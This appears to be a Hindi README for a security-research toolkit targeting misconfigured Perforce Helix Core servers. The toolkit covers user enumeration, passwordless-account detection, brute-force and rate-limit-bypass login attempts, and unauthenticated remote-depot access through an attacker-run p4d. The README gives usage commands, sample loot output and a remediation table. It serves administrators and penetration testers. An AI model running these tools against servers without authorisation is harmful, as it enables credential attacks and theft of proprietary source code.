
Perforce सुरक्षा अनुसंधान और उपकरण - CVE-2026-6043
Perforce (Helix Core) सुरक्षा अनुसंधान उपकरण और nuclei टेम्पलेट्स।
शोध लेख: https://morganrobertson.net/p4wned/
कृपया पूर्ण विवरण के लिए उपरोक्त पढ़ें।
केवल अधिकृत लक्ष्य। अपने स्वयं के सर्वर पर या स्पष्ट लिखित अनुमति से उपयोग करें।
इच्छित दर्शक: Perforce सर्वर प्रशासक, पैठ परीक्षक, सुरक्षा इंजीनियर
मई 2026 अपडेट: Perforce 2026.1 जारी कर दिया गया है। यह संस्करण सुरक्षित डिफ़ॉल्ट सेटिंग्स के साथ आता है! डेवलपर IP की सुरक्षा के लिए इसे जारी होते देख बहुत खुशी हुई। यहाँ और पढ़ें।
नोट: ये उपकरण CVE-2026-6043 से उत्पन्न गलत कॉन्फ़िगरेशन को स्कैन करते हैं।
| उपकरण | आवश्यकताएँ |
|---|---|
p4wned.py | Python 3, p4 CLI बाइनरी (नीचे देखें) |
p4ghost.py | Python 3, p4 CLI बाइनरी, स्थानीय p4d इंस्टेंस (नीचे सेटअप देखें) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (देखें p4-auth-hammer/README.md) |
| JavaScript उपकरण | Node.js (कोई बाहरी निर्भरता नहीं) |
| Nuclei टेम्पलेट्स | Nuclei v3+ |
| Metasploit मॉड्यूल | Metasploit Framework |
p4 बाइनरी प्राप्त करना (p4wned.py और p4ghost.py के लिए आवश्यक):
# Perforce उपयोग की शर्तों के अधीन: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Perforce सर्वर एक कस्टम बाइनरी TCP प्रोटोकॉल (डिफ़ॉल्ट पोर्ट 1666) का प्रदर्शन करते हैं। कई इंस्टॉलेशन असुरक्षित डिफ़ॉल्ट सेटिंग्स के साथ आते हैं — बिना प्रमाणीकरण के उपयोगकर्ता सूची, सर्वर जानकारी का खुलासा, सुलभ रिमोट डिपॉट, कोई पासवर्ड आवश्यकता नहीं, और लॉगिन प्रयासों पर कोई दर-सीमा नहीं। यहाँ सभी उपकरण बिना क्रेडेंशियल की आवश्यकता के इन डिफ़ॉल्ट का शोषण करते हैं।
प्राथमिक स्कैनर। उपयोगकर्ताओं को सूचीबद्ध करने, क्रेडेंशियल का परीक्षण करने, डिपॉट सूचीबद्ध करने और एक रिपोर्ट तैयार करने के लिए p4 CLI बाइनरी का उपयोग करता है।
python3 p4wned.py [-brute] [-audit] [-parallel N]
विकल्प:
| फ़्लैग | विवरण |
|---|---|
-brute | बल प्रयोग मोड सक्षम करें — सभी खोजे गए उपयोगकर्ता खातों के विरुद्ध पासवर्ड का परीक्षण करता है |
-audit | विस्तृत ऑडिट मोड — कमजोरी मिलने के बाद भी सभी उपयोगकर्ताओं का परीक्षण जारी रखता है |
-parallel N | समानांतर पासवर्ड प्रयासों की संख्या (डिफ़ॉल्ट: 1) |
कॉन्फ़िग (स्क्रिप्ट के शीर्ष पर संपादित करें):
यह क्या करता है:
run.users.authorize=0)super समूह सदस्यता की जाँच करता हैकंसोल आउटपुट:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
रिपोर्ट फ़ाइल (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
छिपे हुए remote उपयोगकर्ता के माध्यम से बिना प्रमाणीकरण के रिमोट डिपॉट एक्सेस का परीक्षण करता है। शोषण स्थानीय रूप से एक हमलावर-नियंत्रित p4d इंस्टेंस चलाकर काम करता है — लक्ष्य सर्वर सर्वर-टू-सर्वर प्रोटोकॉल के भाग के रूप में उससे वापस जुड़ता है, इस प्रक्रिया में अपनी डिपॉट फ़ाइल सूची को लीक करता है।
सेटअप (एक बार):
# Perforce उपयोग की शर्तों के अधीन: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# पोर्ट 1818 पर एक सादा ASCII p4d प्रारंभ करें (हमलावर के सर्वर के रूप में उपयोग किया जाता है)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# यूनिकोड लक्ष्यों के लिए एक अलग पोर्ट (1819) पर यूनिकोड p4d प्रारंभ करें
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # यूनिकोड मोड में बदलें
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# ऊपर दिए गए स्थानीय हमलावर सर्वरों का उपयोग करके उदाहरण आह्वान
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
आर्गुमेंट्स:
प्रभावित संस्करण: security < 4 वाले सभी 2025.1 से नीचे के संस्करण (डिफ़ॉल्ट 0 है)।
प्रूफ-ऑफ-कॉन्सेप्ट दर्शाता है कि p4d जब security < 3 होता है तो प्रभावी ढंग से प्रमाणीकरण प्रयासों को दर-सीमित नहीं करता है। Perforce C++ API का उपयोग करके एक खाते के विरुद्ध प्रति मिनट 300,000 से अधिक लॉगिन प्रयास प्राप्त करता है।
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
बिल्ड (Perforce C++ API और OpenSSL 1.1.1 आवश्यक — पूर्ण सेटअप के लिए p4-auth-hammer/README.md देखें):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
मोड:
security < 3)। दर-सीमा पूरी तरह से बायपास हो जाती है। >300,000 प्रयास/मिनट।-ticketauth: टिकट-आधारित लॉगिन (security >= 3)। इस स्तर पर दर-सीमा (dm.user.loginattempts) सक्रिय है।स्वचालित रूप से SSL और यूनिकोड सर्वर का पता लगाता है। अधिकतम थ्रूपुट के लिए स्वचालित रूप से थ्रेड गणना को ट्यून करता है।
उपचार: p4 configure set security=3 (या 4)। पूर्ण विवरण के लिए p4-auth-hammer/README.md देखें।
स्टैंडअलोन Node.js स्क्रिप्ट। Node.js stdlib से परे कोई निर्भरता नहीं। सभी स्क्रिप्ट स्वचालित रूप से SSL बनाम सादा TCP और ASCII बनाम यूनिकोड सर्वर मोड का पता लगाती हैं — किसी फ़्लैग की आवश्यकता नहीं।
लक्ष्य फ़ाइल प्रारूप: host:port प्रति पंक्ति एक, छोड़े जाने पर पोर्ट डिफ़ॉल्ट रूप से 1666 होता है। # से शुरू होने वाली पंक्तियों को अनदेखा किया जाता है।
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
स्वचालित पहचान: पहले सादा TCP प्रयास किया जाता है। यदि सर्वर Perforce SSL त्रुटि संदेश ("Failed client connect, server using SSL") के साथ प्रतिक्रिया करता है तो कनेक्शन rejectUnauthorized: false (स्व-हस्ताक्षरित प्रमाणपत्र स्वीकार करता है) के साथ TLS पर पुनः प्रयास किया जाता है। पहले ASCII मोड प्रयास किया जाता है; यदि सर्वर यूनिकोड त्रुटि संदेश लौटाता है तो कनेक्शन unicode पैरामीटर के साथ पुनः प्रयास किया जाता है।
बिना प्रमाणीकरण के सभी उपयोगकर्ता खातों को सूचीबद्ध करने के लिए run.users.authorize=0 (डिफ़ॉल्ट) का शोषण करता है।
node javascript/perforce-users.js [targets_file]
आउटपुट: [host:port] [tcp|ssl] username <email> "Full Name"
सर्वर संस्करण, आंतरिक पता, रूट पथ और लाइसेंस स्ट्रिंग निकालने के लिए dm.info.hide=0 (डिफ़ॉल्ट) का शोषण करता है।
node javascript/perforce-info.js [targets_file]
आउटपुट:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
बिना पासवर्ड सेट वाले उपयोगकर्ता खाते ढूँढ़ता है। उपयोगकर्ता रिकॉर्ड में Password फ़ील्ड की अनुपस्थिति का पता लगाने के लिए टैग किए गए आउटपुट प्रारूप (tag पैरामीटर) का उपयोग करता है। पासवर्ड रहित खाते सीधे बिना प्रमाणीकरण के लॉगिन की अनुमति देते हैं।
node javascript/perforce-passwordless.js [targets_file]
आउटपुट: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
बिना प्रमाणीकरण के डिपॉट फ़ाइल पथ और चेंज नंबर निकालने के लिए rmt-DbPipe सर्वर-टू-सर्वर RPC के माध्यम से छिपे हुए remote उपयोगकर्ता का शोषण करके db.rev तालिका को सीधे पढ़ता है। प्रभावित संस्करण: 2025.1 से नीचे security < 4 के साथ।
node javascript/perforce-remote.js [targets_file]
आउटपुट:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Perforce सर्वर से वैश्विक कुंजी/काउंटर मान निकालता है। कुंजियों में बिल्ड नंबर, आंतरिक संस्करण स्ट्रिंग और कॉन्फ़िगरेशन हो सकते हैं।
node javascript/perforce-keys.js [targets_file]
आउटपुट: [host:port] [tcp|ssl] keyname = value
Nuclei के लिए टेम्पलेट्स। सभी टेम्पलेट JavaScript पेलोड निष्पादित करने से पहले एक Perforce सर्वर की उपस्थिति की पुष्टि करने के लिए TCP गेट चरण का उपयोग करते हैं। टेम्पलेट्स JavaScript उपकरणों के समान स्वचालित पहचान दृष्टिकोण का उपयोग करते हैं।
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| टेम्पलेट | आईडी | विवरण |
|---|---|---|
perforce-detect.yaml | perforce-detection | बाइनरी प्रोटोकॉल हैंडशेक के माध्यम से Perforce सर्वर का पता लगाता है। गंभीरता: जानकारी। |
सीमाएँ: कोई SSL समर्थन नहीं, केवल पोर्ट 1666। अधिक जानकारी के लिए javascript उपकरण देखें।
Metasploit Framework के लिए तीन सहायक स्कैनर मॉड्यूल, साथ ही एक साझा लाइब्रेरी मिक्सिन जो Perforce बाइनरी प्रोटोकॉल को संभालता है। ये मॉड्यूल ऊपर दिए गए स्टैंडअलोन उपकरणों के समान कमजोरियों को कवर करते हैं — उपयोगकर्ता गणना, पासवर्ड रहित खाता पहचान, और रिमोट डिपॉट शोषण।
सभी मॉड्यूल स्वचालित रूप से ASCII बनाम यूनिकोड सर्वर मोड का पता लगाते हैं। SSL समर्थित है।
| मॉड्यूल | विवरण |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum |
स्रोत फ़ाइलें metasploit/ निर्देशिका में हैं। Metasploit Framework में एक PR प्रस्तुत किया गया है।
त्वरित उपचार संदर्भ:
| चर | विवरण |
|---|
INPUT_FILE | लक्ष्य सूची (ip:port, प्रति पंक्ति एक) — डिफ़ॉल्ट perforce-servers.txt |
P4_CMD | p4 बाइनरी का पथ — डिफ़ॉल्ट ./p4 |
TOP_PASSWORDS_FILE | बल प्रयोग के लिए वर्डलिस्ट — डिफ़ॉल्ट top-passwords.txt |
KNOWN_CREDS_FILE | पहले प्रयास करने के लिए ज्ञात क्रेडेंशियल जोड़े |
REPORT_FILE | आउटपुट रिपोर्ट पथ |
| फ़्लैग | विवरण |
|---|
input_file | लक्ष्य सूची (ip:port, प्रति पंक्ति एक) |
-skipnolicense | उन सर्वरों को छोड़ें जो Server license: none लौटाते हैं |
-report FILE | आउटपुट रिपोर्ट पथ |
-p4cmd PATH | p4 बाइनरी का पथ (डिफ़ॉल्ट ./p4) |
-unicodeport PORT | हमलावर के सर्वर के रूप में उपयोग करने के लिए स्थानीय यूनिकोड p4d पोर्ट |
-nonunicodeport PORT | स्थानीय गैर-यूनिकोड p4d पोर्ट |
-timeout SECS | कमांड टाइमआउट |
| टेम्पलेट | आईडी | गंभीरता | CVSS | विवरण |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | मध्यम | 5.3 | बिना प्रमाणीकरण के उपयोगकर्ता सूची — ASCII और यूनिकोड सर्वर। उपयोगकर्ता नाम, ईमेल, पूर्ण नाम निकालता है। |
perforce-info-disclosure.yaml | perforce-info-disclosure | मध्यम | 5.3 | सर्वर जानकारी प्रकटीकरण — संस्करण, आंतरिक पता, रूट पथ, लाइसेंस। |
perforce-passwordless-users.yaml | perforce-passwordless-users | महत्वपूर्ण | 9.1 | बिना पासवर्ड सेट वाले खाते ढूँढ़ता है। |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | उच्च | 7.5 | remote उपयोगकर्ता के माध्यम से रिमोट डिपॉट एक्सेस — ASCII और यूनिकोड सर्वर। फ़ाइल पथ और चेंज नंबर निकालता है। प्रभावित: < 2025.1 जिसमें security < 4। |
| बिना प्रमाणीकरण के उपयोगकर्ता सूची — उपयोगकर्ता नाम, ईमेल, पूर्ण नाम और अंतिम पहुँच समय निकालता है। |
auxiliary/scanner/perforce/perforce_passwordless | बिना पासवर्ड सेट वाले खातों का पता लगाता है। |
auxiliary/scanner/perforce/perforce_remote_depot | छिपे हुए remote उपयोगकर्ता के माध्यम से रिमोट डिपॉट फ़ाइल गणना। प्रभावित: < 2025.1 जिसमें security < 4। |
| खोज | समाधान |
|---|
| उपयोगकर्ता गणना | p4 configure set run.users.authorize=1 |
| जानकारी प्रकटीकरण | p4 configure set dm.info.hide=1 |
| पासवर्ड रहित उपयोगकर्ता | सभी खातों के लिए पासवर्ड सेट करें; p4 configure set dm.user.noautocreate=2 |
| रिमोट डिपॉट एक्सेस | 2025.1+ में अपग्रेड करें, या p4 configure set security=4 |
| प्रमाणीकरण दर सीमा | p4 configure set security=3 (dm.user.loginattempts के माध्यम से प्रभावी लॉकआउट सक्षम करता है) |
| उपरोक्त सभी | p4 configure set security=4 साथ ही ऊपर दी गई व्यक्तिगत सेटिंग्स — security=4 रिमोट शोषण को ठीक करता है लेकिन उपयोगकर्ता सूची या सर्वर जानकारी नहीं छिपाता है |